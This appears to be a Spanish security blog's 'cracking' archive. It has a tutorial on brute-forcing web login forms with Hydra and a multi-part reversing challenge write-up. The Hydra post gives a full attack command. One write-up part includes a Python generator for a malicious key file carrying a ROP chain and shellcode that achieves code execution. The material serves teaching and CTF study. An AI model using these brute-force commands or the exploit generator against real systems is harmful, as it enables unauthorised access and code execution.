Mostrando entradas con la etiqueta cracking. Mostrar todas las entradas
Mostrando entradas con la etiqueta cracking. Mostrar todas las entradas

10 junio 2014

Cracking de formularios Web con Hydra

Pese a la época en la que nos encontramos (año 2014) aun hoy día es bastante fácil encontrar sitios web cuyos formularios de 'login' carecen de protecciones anti fuerza bruta.

Todo o casi todo el mundo conoce el concepto 'captcha' como técnica destinada a mitigar los ataques de fuerza bruta. Incluso hay sistemas menos molestos que permiten bloquear por IP a partir de cierto número de intentos de login.

Hoy voy a explicar cómo sacar partido de esos formularios web de autenticación que no disponen de métodos para evitar ataques de fuerza bruta.

Vamos a tomar una muy sencilla aplicación de ejemplo escrita en PHP cuya interface HTML es esta:

Y cuya parte PHP esta:

Que luce tal que así:


Con esto en la mano, el objetivo es identificar patrones de éxito o fracaso en función de las pruebas que hacemos. Obviamente lo más fácil es identificar patrones de fracaso, es decir, combinaciones que no conducen a acceso. Probamos algo cualquiera:


Vale, ya tenemos un patrón de fracaso: si fallamos la autenticación obtenemos un mensaje que pone 'Acceso denegado'. Con eso es suficiente para instruir a Hydra a la hora de hacer un ataque de fuerza bruta al formulario.

Ejecutamos Hydra tal que así:

$ hydra 192.168.9.13 http-form-post "/login.php:username=^USER^&password=^PASS^:Acceso Denegado" -L diccionario.txt -P diccionario.txt -t 10 -w 30

Y los parámetros importantes son:

1- La IP y la ruta del formulario(obvio...)
2- La petición que hay que lanzar al formulario y que la podemos ver en el código HTML de la página. En este caso username y password
3- El diccionario que vamos a usar

Si tenemos suerte podremos localizar logins y password válidos:

[80][www-form] host: 172.16.183.179   login: pedro   password: 123456

Leer más...

11 abril 2014

Ola k ase? ejecutas código o k ase?

Llegados a este punto lo di por solucionado y me olvidé del reto hasta que hace menos de un mes me encontré en una de esas situaciones que aterrorizan a cualquier informático del siglo XXI: ¡estar de viaje hospedado en un hotel sin WIFI y con un ordenador delante! Ya había visto todas las series y papers que tenía en el ordenador. En ese momento vi solitaria una carpeta con el binario y me dio por volver a cargarlo en IDA a ver que se me ocurría. ¿Ejecución de código…?

Cuando estuve haciendo el reto ya se me ocurrió esa idea pero la descarté ya que el binario solo leía 20 bytes (14h) de todo el fichero y eso no es suficiente como para cargar una shellcode (por muy pequeña que sea) y saltar a ella. Sin embargo ese día sin internet tenía tiempo para darle a la pelota a ver que salía, y algo salió.

Se me ocurrió que podía escribir yo mismo el código ASM necesario para releer el fichero  “key.txt” entero y por tanto ya tener la shellcode en memoria a la que más tarde saltaría. Sin embargo solo tenía 16 bytes (20 menos los 4 necesarios para indicar a donde queremos hacer el salto) y era imposible en tan poco espacio. Incluso intentando rescatar valores de la pila o de los registros para hacer que ocupase lo menos posible (evitando un MOV EAX, 11223344 que ocupa 5 bytes y usar instrucciones que solo sean un opcode como PUSH EAX).  Imposible…

Finalmente, tras estar cerca de rendirme, le volví a echar un ojo al código y… se me ocurrió una forma de conseguirlo. Podría hacer una ROP chain que se encargase de modificar en memoria y en tiempo de ejecución la zona donde se encuentra ese 14h por otro valor más grande, es decir utilizar el propio código de ReadFile que tiene el programa pero habiendo modificado el número de valores que la función va a leer. Al fin y al cabo, ¡para qué escribir mi código y gastar valiosos bytes si el propio código tiene lo que necesito!



A la izquierda tenemos el código ensamblado generado por el compilador mientras que a la derecha tenemos el principio de la ROP chain a la que se accede tras hacer el CALL EAX. Podemos ver que he usado EDI como referencia tanto para saber a qué dirección saltar después de parchear el número de bytes a leer como para saber qué dirección exacta saltar. No voy a entrar en detalles con los datos ya que son puras matemáticas en función del tamaño en opcodes de cada instrucción. Al utilizar EDI (que es el valor del RET) como referencia, he conseguido ahorrar mucho tamaño a la ROP chain e incluso me han sobrado algunos bytes.

Tras ejecutar ese cacho de código podemos ver que en efecto el flujo vuelve al primer PUSH de la función ReadFile y que el tamaño a leer ha cambiado:



Después del CALL a la función ReadFile ya tenemos toda la shellcode en memoria. Solo falta saltar a ella. Si echamos un ojo a la memoria podremos ver que solo se carga el contenido del fichero “key.txt” que no se había cargado anteriormente. Esto nos viene perfecto ya que simplemente debemos volver a hacer matemáticas con el valor “7A40B660” harcodeado para saltar de nuevo a nuestro propio código del fichero “key.txt” (esta vez 529 bytes (211h)).

Como vimos anteriormente, nuestro fichero se carga en la dirección de memoria 4040E4. Si le sumamos los 4 bytes que se usan para hacer  las “mates” con el valor harcodeado nos queda 4040E8 y por tanto como vimos antes:
7A40B660 + X = 4040E8 => X = 85FF8A88  (888AFF85 en Little Endian).

Lo añadimos a nuestro ROP chain y ¡listo! Ya tenemos lo necesario para saltar a nuestra shellcode. Yo he creado un “key.txt” con una shellcode que ejecuta una calculadora. Corremos el programa y:




Aquí os dejo el código en python que usé para generar el archivo “key.txt” malicioso que ejecutará la shellcode que le indiquemos:


exploit=open("key.txt","w+")
shellcode=("\xdb\xc2\xb8\x68\x84\x96\x3c\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x33\x31\x43\x17\x83\xeb\xfc\x03\x2b\x97\x74\xc9\x57\x7f\xf1"
"\x32\xa7\x80\x62\xba\x42\xb1\xb0\xd8\x07\xe0\x04\xaa\x45\x09"
"\xee\xfe\x7d\x9a\x82\xd6\x72\x2b\x28\x01\xbd\xac\x9c\x8d\x11"
"\x6e\xbe\x71\x6b\xa3\x60\x4b\xa4\xb6\x61\x8c\xd8\x39\x33\x45"
"\x97\xe8\xa4\xe2\xe5\x30\xc4\x24\x62\x08\xbe\x41\xb4\xfd\x74"
"\x4b\xe4\xae\x03\x03\x1c\xc4\x4c\xb4\x1d\x09\x8f\x88\x54\x26"
"\x64\x7a\x67\xee\xb4\x83\x56\xce\x1b\xba\x57\xc3\x62\xfa\x5f"
"\x3c\x11\xf0\x9c\xc1\x22\xc3\xdf\x1d\xa6\xd6\x47\xd5\x10\x33"
"\x76\x3a\xc6\xb0\x74\xf7\x8c\x9f\x98\x06\x40\x94\xa4\x83\x67"
"\x7b\x2d\xd7\x43\x5f\x76\x83\xea\xc6\xd2\x62\x12\x18\xba\xdb"
"\xb6\x52\x28\x0f\xc0\x38\x26\xce\x40\x47\x0f\xd0\x5a\x48\x3f"
"\xb9\x6b\xc3\xd0\xbe\x73\x06\x95\x31\x3e\x0b\xbf\xd9\xe7\xd9"
"\x82\x87\x17\x34\xc0\xb1\x9b\xbd\xb8\x45\x83\xb7\xbd\x02\x03"
"\x2b\xcf\x1b\xe6\x4b\x7c\x1b\x23\x28\xe3\x8f\xaf\x81\x86\x37"
"\x55\xde")

ROP="\x88"+"\x8a"+"\xff"+"\x85"#address to Jump
ROP+="\x5f"#POP EDI
ROP+="\x83"+"\xef"+"\x22"#SUB EDI,22h
ROP+="\x66"+"\xc7"+"\x47"+"\x0b"+"\x11"+"\x02"#MOV word ptr [EDI+0Bh], 211h =529bytes for the shellcode
ROP+="\xff"+"\xe7"#JMP EDI
ROP+="\x90"*4
ROP+="\x9c"+"\x8a"+"\xff"+"\x85"#address to Jump to the shellcode

ROP+="\x90"*50 # NOP junk. Happy Hour!

exploit.write(ROP+shellcode)
print "[+] Evil Key File generated"
exploit.close()

En el siguiente enlace podéis acceder al writeup completo en formato PDF: http://goo.gl/YQ0ts9

Agradecimientos

Quiero dar las gracias a los "juankers y en especial a Francisco Oca (@francisco_oca). Sus consejos y  tips sobre reversing son siempre muy apreciados. 




Artículo cortesía de: Alberto García Illera
Leer más...

08 abril 2014

3.5  Parchear el binario en tiempo de ejecución

Una vez que sabemos a dónde debemos saltar para pintar el cuadrado, modifiquemos la zona a la que salta el JMP que hemos comentado anteriormente y deberíamos finalizar el reto.



La zona de memoria donde está el salto es “4010BD” y debemos saltar a “4022E0”. Los saltos en x86 son relativos a la zona desde la que se llama. Para saber exactamente quée opcodes necesitamos podemos usar “rasm2” de radare2:



Con el parámetro  “-o” indicamos que el salto se debe hacer teniendo en cuenta que el JMP está en la dirección “4010BD”.
¡Ya tenemos todo! Veamos cómo queda el fichero “key.txt”:

  • Los primeros cuatro bytes deciden a donde se hace el primer salto CALL EAX (el encargado de crear la ventana).
  • Los siguientes cuatro bytes deciden dónde vamos a escribir (0D1BE014C + X = 4110BD => X = 2E830F71 (710F831E en Little Endian)).
  • Los últimos cuatro bytes deciden qué vamos a escribir (lo obtenido con rasm2).

Veamos que todo funciona correctamente:



De momento EDI apunta a la dirección del JMP que queremos modificar sin embargo  el JMP no apunta a la parte de código que pinta el cuadrado y que, por tanto, nos interesa (4022E0).
A pesar de ello  MOV [edi+1], eax:



El JMP ya está apuntando a donde nosotros queremos y si pulsamos F9 para dejar que el programa prosiga con su ejecución obtenemos:



¡Reto solucionado!



Resolviendo el reto “por las ramas”

Muchos pueden pensar que eesto ya es suficiente, sin embargo seguí dándole un par de vueltas y conseguí solucionar el reto de otra forma distinta la cual el programador del código no había considerado a la hora de codear el reto. En este momento tenemos dos cosas a favor:
  • Sabemos cuáles son las dos zonas a las que debemos saltar (la que crea la ventana y la que pinta el cuadrado dentro de ella).
  • En el primer CALL EAX podemos saltar a la dirección que queramos.

Por tanto… ¿Por qué no saltar a la zona donde se carga nuestro “key.txt” y hacer que dicho archivo contenga dos saltos: uno a la zona donde se crea la ventana y otro a donde se pinta el cuadrado?
Tras esto me planteé dos elementos en contra que debemos controlar para que funcione la idea:
  • ¿Se cargan suficientes bytes en memoria  del archivo “key.txt” para poder hacer esos dos saltos?
  • ¿La zona donde se mapea el contenido de “key.txt” es siempre la misma o varía?

Recordemos la primera parte del código donde se carga el contenido del fichero a memoria:



Como vemos el número de bytes que se leerán del archivo “key.txt”  será de 14h que equivale a 20 bytes. Por tanto tenemos 20 bytes para hacer los dos saltos a las zonas de crear ventana y pintar cuadrado (realmente solo tenemos 16, ya que los cuatro primeros son los que usarán para calcular a dónde se hará el salto del CALL EAX). Aunque no es mucho es suficiente para hacer dos saltos. Primero contra bypassed.
También podemos ver que la zona de memoria donde se guarda el contenido del fichero es siempre la misma ya que está hardcodeada (lpBuffer=4040E4). Por tanto, el contenido del fichero se va a cargar siempre en la misma zona de memoria. Segundo contra bypassed.

Debemos hacer que el “CALL EAX” sea a 4040E4+4=4040E8 (la zona donde se carga nuestro “key.txt” sin contar los 4 primeros bytes que son los que decidirán a donde saltamos sumándose al valor 7A40B660).

Tenemos: 7A40B660 + X = 4040E8 => X = 85FF8A88  (888AFF85 en Little Endian).

Con esto ya solo nos falta generar los opcodes para saltar a las dos zonas que crean la ventana y pintan el cuadrado respectivamente.  Para hacer esto yo he optado por usar esta fórmula:

MOV EAX, 402000 ; zona donde se crea la ventana
CALL EAX
MOV  EAX, 4022E0 ; zona donde se pinta el cuadrado
CALL EAX
Para saber cuáles son los opcodes yo he usado rasm2 de radare2:



Añadimos esos opcodes a los 4 que ya teníamos y todo debería de funcionar. Comprobémoslo:



¡Genial! Todo está como debería. Si pulsamos F9 para seguir a la ejecución del programa:


¡Reto conseguido!  Esta vez de otra forma distinta y, a mi gusto, más interesante ya que somos nosotros mismos los encargados de guiar de la mano por donde debe continuar el flujo de instrucciones sin depender de parte del código del programador.


Artículo cortesía de: Alberto García Illera

Leer más...

31 marzo 2014

3.2  ¿Dónde se crea la ventana?

El problema es que no sabemos a dónde queremos que el programa salte. Tenemos la pista del nombre de la ventana “test_app”. También sabemos que seguramente debamos saltar a una función que no sea referenciada por otra (ahí está la gracia del reto). Debemos suponer que primero el binario deberá hacer una llamada para crear la ventana y después otra para pintar el cuadrado (o lo que sea que sea eso).

Otra forma de resolver el reto es ver que hacen cada una de esas tres funciones que he mostrado antes y ver quien las está llamando. Yo opté por una mezcla de esta última opción con la anterior.

Veamos primero la función llamada por IDA sub_4020B0. En un bloque de la función vemos:



¡Vaya! Si tenemos una llamada a la API “CreateWindowExA”. Qué suerte la nuestra que hemos encontrado precisamente lo que buscábamos. Siguiente paso es saber quien está llamando a esta función.

Veamos que trozos del código no son referenciados por el flujo de código que estamos siguiendo simplemente pulsando la letra “x” en IDA al principio de la función. Si nadie referencia a esta función ya sabremos a donde debemos hacer que se produzca el CALL EAX:



Vemos que la dirección 402012(402000+12) está haciendo un CALL a la función que crea la ventana donde más tarde se debe pintar el susodicho cuadrado. Vayamos allí a ver que vemos:



¡Perfecto! Parece que está llamando a nuestra función create_window (así la he llamado yo pero es la antigua sub_4020B0) y en caso de que la respuesta de la misma sea 0 (error) nos mostrará un mensaje con el texto “error”.
Veamos ahora si alguna parte del código está llamando a la dirección 402000.



¡Ya tenemos nuestra dirección deseada del CALL para crear la ventana!

Otra forma de encontrar la función “huérfana” a la que debemos saltar es abrir la vista de IDA que pinta el “CALL flow” del programa (Ctrl+F12):



Como podemos ver todas las funciones son referenciadas excepto dos de ellas: sub_4022E0 y sub_402000. Si recordamos del punto 3.1, el programa cogía los 4 primeros bytes del fichero “key.txt” y los sumaba al valor 7A40B660.

Por tanto: X+7A40B660=402000 => X=402000-7A40B660. Usamos la misma calculadora de Windows para calcular nuestra X y obtenemos: 85FF69A0. Estos deberán ser los primeros 4 bytes del fichero “key.txt”. Recordemos que estamos bajo una arquitectura Little Endian por lo que el orden de los bytes es de derecha a izquierda (inverso a la escritura occidental) y por tanto los cuatro primeros bytes serán: A069FF85.

Debugueamos la aplicación con IDA y vemos como el CALL EAX se produce con el valor de EAX=402000 y podemos observar como se ha creado una nueva ventana con el nombre “test_app”. ¡Perfecto!


3.3  Pintar el cuadrado

Ahora solo nos falta que se pinte el cuadrado en la ventana creada. Para ello deberemos de saltar en algún momento a alguna parte del código que se encargue de pintar dicho cuadrado. Intentemos identificar las opciones que tenemos para saltar a una zona que nosotros queramos como hicimos anteriormente:



Como vemos solo tenemos dos opciones que a priori no parecen muy prometedoras:
  • CALL [EBP+4]: En ningún momento llegamos a controlar EBP por lo que no podemos contar con ello para dirigir el flujo de ejecución a donde queramos.
  • JMP loc_402360: En principio parece que la dirección a la que salta es estática y no depende de ningún registro (y lo es), sin embargo si nos fijamos en las instrucciones desde el CALL EAX hasta el PUSH previo al siguiente CALL podemos observar lo siguiente:



Vemos que tenemos el control de EDI y que en EDI se escriben ciertos bytes de los cuales también tenemos nosotros el control. Por tanto, lo que podemos hacer es modificar a donde debe el JMP pegar el salto para hacer que ese salto sea al trozo de código que se encargue de pintar el cuadrado y solucionar el reto. Por tantoEntonces deberemos hacer que se modifiquen los bytes de la dirección del JMP (4010BD).

Del byte 4 al byte 8 (Teniendo en cuenta que el primer byte es el 0) de nuestro “key.txt” es sumado a “0D1BE0114C” y almacenado en EDI. Luego el byte 8 del fichero es almacenado en BL. Por último del byte 9 al 13 del fichero se mueven a EAX.

Los siguientes dos MOV modificarán la zona de memoria a donde apunta EDI (y que nosotros controlamos):
  •  El primer MOV mueve a donde apunte EDI el byte octavo de nuestro “key.txt”.
  • El segundo MOV mueve EAX (los bytes de “key.txt” de la posición 9 a la 13) a donde apunte EDI+1.

Como queremos modificar la zona de memoria del JMP (4010BD) tendremos que hacer que esta sea igual a la suma de “0D1BE014C” (harcodeado por el programador) con los bytes del 4º al 8º de nuestro “key.txt. Por tanto:
0D1BE014C + X = 4110BD => X = 2E830F71 (710F831E en Little Endian).

3.4  Dónde saltar para pintar el cuadrado


¡Perfecto! Ahora que podemos modificar a donde salta el JMP solo nos queda saber a qué dirección queremos que dé el salto. Debemos hacer que salte a alguna zona de código que se encargue de pintar el cuadrado en la ventana que ya hemos creado.

Para encontrar dicha zona echemos un vistazo a las otras dos funciones que nos enseñaba IDA (sub_402040 y sub_4023A0):
  • sub_402040: Parece que lo que hace es eliminar la ventana creada por lo que no debe ser la encargada de pintar el cuadrado.


Además si vemos que partes de código la llaman nos encontramos con que se llama justo antes de mostrar un mensaje con el string “error”. 



Por esta información podemos decir que esta llamada es el destructor de la ventana.
  • sub_4023A0: Solamente viendo las APIs que está utilizando podemos darnos cuenta de que está función se encarga de crear una figura geométrica a la cual le establece ciertos colores:



Veamos quien llama a esta función:



Vemos que la dirección 402324 está llamando a dicha función. Si miramos por encima la estructura del código anterior y posterior veremos que es un bucle:



Podemos ver (resaltado en naranja) como se almacena en EDI, EBP y EBX las direcciones de tres funciones (“PeekMessageA”, “DispatchMessageA” y “SwapBuffers”) que más tarde son usadas en el bucle y también la típica estructura de prólogo de una función reservando 28 bytes (1Ch) de espacio en la pila: SUB ESP,1Ch.

Yo cree una función en la dirección 4022FC en IDA presionando la letra “P” para poder verlo gráficamente más fácilmente:



Como podemos ver ninguna parte del código accede a este bucle (que pinta el dichoso cuadrado en la ventana) y por tanto, debemos hacer que nuestro flujo de instrucciones salte a la dirección 4022E0.


Ya tenemos donde queremos saltar para pintar el cuadrado. 


Artículo cortesía de: Alberto García Illera

Leer más...